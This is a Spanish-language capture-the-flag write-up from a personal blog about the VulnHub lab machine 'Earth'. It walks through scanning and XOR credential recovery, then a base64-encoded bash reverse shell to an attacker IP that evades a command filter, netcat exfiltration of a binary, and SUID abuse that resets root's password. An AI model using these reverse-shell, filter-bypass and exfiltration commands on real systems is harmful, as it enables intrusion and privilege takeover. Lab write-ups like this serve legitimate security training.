cd ~/blog

~/writeups/vulnhub/03-earth.md

03 - Earth

medium Linux vulnhub 12-11-2021
XOR-encrypted credential recoveryCommand CLI reverse shell (base64 bypass)SUID binary abuse (reset_root)
www.vulnhub.com/entry/the-planets-earth,755/

~1 min de lectura


Enumeramos puertos (22, 80, 443). El certificado revela los dominios earth.local y terratest.earth.local, que añadimos al /etc/hosts:

 nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG allPorts 192.168.1.25
 nmap -sC -sV -p22,80,443 -oN 02-targeted 192.168.1.25

El sitio es un cifrador de mensajes. Enumeramos con dirb y aparecen /admin y /cgi-bin/:

 dirb http://earth.local -o 01-dirb-earth.local
+ http://earth.local/admin    (CODE:301)
+ http://earth.local/cgi-bin/ (CODE:403)

El robots.txt del vhost de pruebas (-k para ignorar el certificado autofirmado) apunta a testingnotes.txt:

 curl https://terratest.earth.local/robots.txt -k
...
Disallow: /testingnotes.*

 curl https://terratest.earth.local/testingnotes.txt -k
Testing secure messaging system notes: *Using XOR encryption as the algorithm ...
*testdata.txt was used to test encryption. *terra used as username for admin portal. ...

Las notas revelan: cifrado XOR, el usuario terra, y que testdata.txt se usó como clave. Recuperamos ese archivo y, con CyberChef (From Hex + XOR, key = contenido de testdata.txt, input = el primer mensaje cifrado de la web), obtenemos la contraseña de terra:

 curl https://terratest.earth.local/testdata.txt -k

Entramos al panel de admin (earth.local/admin), que ofrece una CLI de comandos (ejecuta como apache). La reverse shell directa está bloqueada ("Remote connections are forbidden"), así que la codificamos en base64 para evadir el filtro:

 echo 'bash -i >& /dev/tcp/192.168.1.10/1234 0>&1' | base64
 nc -nlvp 1234
echo YmFzaCAtaSA+...Cg== | base64 -d | bash

Buscamos archivos relacionados con "earth" y damos con /var/earth_web, donde está la primera flag:

 find / -name "earth*" 2>/dev/null
/var/earth_web

Para escalar, listamos binarios SUID y destaca /usr/bin/reset_root (no estándar):

 find / -perm -u=s -type f 2>/dev/null
...
/usr/bin/reset_root
...

Lo exfiltramos a nuestra máquina con netcat para analizarlo (nc -w 3 192.168.1.10 10001 < reset_root en la víctima, nc -nlvp 10001 > reset_root en el atacante). Con strings/ltrace vemos que comprueba la existencia de 3 archivos "trigger":

 chmod +x reset_root
 ltrace ./reset_root
...
access("/dev/shm/kHgTFI5G", 0)   = -1
access("/dev/shm/Zw7bV9U5", 0)   = -1
access("/tmp/kcM0Wewe", 0)       = -1
puts("RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.")

Creamos esos archivos y lo ejecutamos de nuevo, lo que resetea la contraseña de root a Earth:

mkdir /dev/shm/kHgTFI5G /dev/shm/Zw7bV9U5 /tmp/kcM0Wewe
 ./reset_root
RESET TRIGGERS ARE PRESENT, RESETTING ROOT PASSWORD TO: Earth

Nos autenticamos como root (su root, password Earth) y obtenemos la flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados